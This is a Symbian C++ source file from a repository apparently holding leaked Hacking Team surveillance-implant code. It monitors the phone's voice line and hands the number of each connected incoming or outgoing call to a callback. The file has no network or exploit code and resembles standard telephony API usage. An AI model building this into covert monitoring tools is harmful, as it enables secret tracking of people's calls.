hackedteam/core-symbian

View on GitHub
Core/src/MonitorPhoneCall.cpp

Summary

Maintainability
Test Coverage
/*
 * MonitorPhoneCall.cpp
 *
 *  Created on: 06/ott/2010
 *      Author: Giovanna
 */

#include "MonitorPhoneCall.h"


CPhoneCallMonitor* CPhoneCallMonitor::NewLC(MCallMonCallBack &aCallBack)
    {
     CPhoneCallMonitor* self = new (ELeave) CPhoneCallMonitor(aCallBack);
      CleanupStack::PushL(self);
      self->ConstructL();
      return self;
    }


CPhoneCallMonitor* CPhoneCallMonitor::NewL(MCallMonCallBack &aCallBack)
    {
     CPhoneCallMonitor* self = CPhoneCallMonitor::NewLC(aCallBack);
      CleanupStack::Pop(self);
      return self;
    }


CPhoneCallMonitor::CPhoneCallMonitor(MCallMonCallBack &aCallBack)
:CActive(EPriorityStandard),iCallBack(aCallBack),iCallStatusPckg(iCallStatus)
    {
    
    }


CPhoneCallMonitor::~CPhoneCallMonitor()
    {
    // always cancel any pending request before deleting the objects
      Cancel();
      delete iTelephony;
    }


void CPhoneCallMonitor::ConstructL()
    {
    // Active objects needs to be added to active scheduler
     CActiveScheduler::Add(this);
      iTelephony = CTelephony::NewL();// construct CTelephony
      //StartListeningForEvents(); // start the AO query
    }

void CPhoneCallMonitor::StartListeningForEvents()
    {
    if(IsActive())
        {
        Cancel();
        }
    
    if(iTelephony)
        {
        // ask CTelephony to notify when telephony stautus changes
        // RunL will be called when this happens
          iTelephony->NotifyChange(iStatus,CTelephony::EVoiceLineStatusChange,iCallStatusPckg);
          SetActive();// after starting the request AO needs to be set active
        }
    }
/*
-----------------------------------------------------------------------------
RunL is called by Active schduler when the requeststatus variable iStatus 
is set to something else than pending, function Int() can be then used
to determine if the request failed or succeeded
-----------------------------------------------------------------------------
*/ 
// remember that we are interested only into connected phone calls

void CPhoneCallMonitor::RunL()
    {
      CTelephony::TCallStatus status = iCallStatus.iStatus;
      
      // use callback function to tell owner that call status has changed
      //iCallBack.NotifyChangeInCallStatusL(status,errVal);
      if(iStatus.Int() == KErrNone)
      {
      if(status == CTelephony::EStatusConnected)
          {
        CTelephony::TRemotePartyInfoV1 remInfoUse;
          CTelephony::TCallInfoV1           callInfoUse;
          CTelephony::TCallSelectionV1   callSelectionUse;
          
          // we are interested only voice lines
          callSelectionUse.iLine = CTelephony::EVoiceLine;
          // and calls that are currently connected
          callSelectionUse.iSelect = CTelephony::EActiveCall;  //EHeldCall, EInProgressCall
          
          CTelephony::TRemotePartyInfoV1Pckg     remParty(remInfoUse);
          CTelephony::TCallInfoV1Pckg         callInfo(callInfoUse);
          CTelephony::TCallSelectionV1Pckg     callSelection(callSelectionUse);
          
          // Some S60 devices have a bug that requires some delay in here
          // othervise the telephone application gets "Out of Memory" error
          User::After(100000);
          if(KErrNone == iTelephony->GetCallInfo(callSelection,callInfo,remParty))
              {
            if(remInfoUse.iDirection == CTelephony::EMobileOriginated) //outgoign call
                {
                iCallBack.NotifyConnectedCallStatusL(callInfoUse.iDialledParty.iTelNumber);
                }
            else   //incoming call
                {
                // if the call is mobile terminated then the remote party is the calling party.
                // TCallRemoteIdentityStatus::ERemoteIdentityUnknown, ERemoteIdentityAvailable, ERemoteIdentitySuppressed
                if(remInfoUse.iRemoteIdStatus == CTelephony::ERemoteIdentityAvailable)
                    {
                    iCallBack.NotifyConnectedCallStatusL(remInfoUse.iRemoteNumber.iTelNumber);
                    }
                else  // private number
                    {
                    TBuf16<1> privNum;
                    privNum.Zero();
                    iCallBack.NotifyConnectedCallStatusL(privNum);
                    }
                }
              }
          }
      if(status == CTelephony::EStatusIdle)
          {
        iCallBack.NotifyDisconnectedCallStatusL();
          }
      //iPreviousStatus = status;
      }
    StartListeningForEvents();
    }
/*
-----------------------------------------------------------------------------
newer call DoCancel in your code, just call Cancel() and let the
active scheduler handle calling this functions, if the AO is active
-----------------------------------------------------------------------------
*/ 
void CPhoneCallMonitor::DoCancel()
    {
    if(iTelephony)
        {
        // since CTelephony implements many different functions
        // You need to specifying what you want to cancel
          iTelephony->CancelAsync(CTelephony::EVoiceLineStatusChangeCancel);
        }
    }

/*
 * ActiveCall() detects if there's a connected call. Only in that case aNumber is meaningfull; and only 
 * in that case, if aNumber.Length() == 0, then aNumber is a private number.
 */
TBool CPhoneCallMonitor::ActiveCall(TDes& aNumber)
    {
    CTelephony::TRemotePartyInfoV1 remInfoUse;
    CTelephony::TCallInfoV1           callInfoUse;
    CTelephony::TCallSelectionV1   callSelectionUse;
              
    // we are interested only voice lines
    callSelectionUse.iLine = CTelephony::EVoiceLine;
    // and calls that are currently connected
    callSelectionUse.iSelect = CTelephony::EActiveCall;  //EHeldCall, EInProgressCall
              
    CTelephony::TRemotePartyInfoV1Pckg     remParty(remInfoUse);
    CTelephony::TCallInfoV1Pckg         callInfo(callInfoUse);
    CTelephony::TCallSelectionV1Pckg     callSelection(callSelectionUse);
          
    // TCallRemoteIdentityStatus::ERemoteIdentityUnknown, ERemoteIdentityAvailable, ERemoteIdentitySuppressed
    if(iTelephony->GetCallInfo(callSelection,callInfo,remParty) == KErrNone)
        {
        if(remInfoUse.iDirection == CTelephony::EMobileOriginated) //outgoing call
            {
            aNumber.Copy(callInfoUse.iDialledParty.iTelNumber);
            }
        else   //incoming call
            {
            if(remInfoUse.iRemoteIdStatus == CTelephony::ERemoteIdentityAvailable)
                {
                aNumber.Copy(remInfoUse.iRemoteNumber.iTelNumber);
                }
            else  // private number
                {
                aNumber.Zero();
                }
            }
        return ETrue;
        }
    
    return EFalse;
    }

TInt CPhoneCallMonitor::RunError(TInt /*aError*/)
    {
    return KErrNone;
    }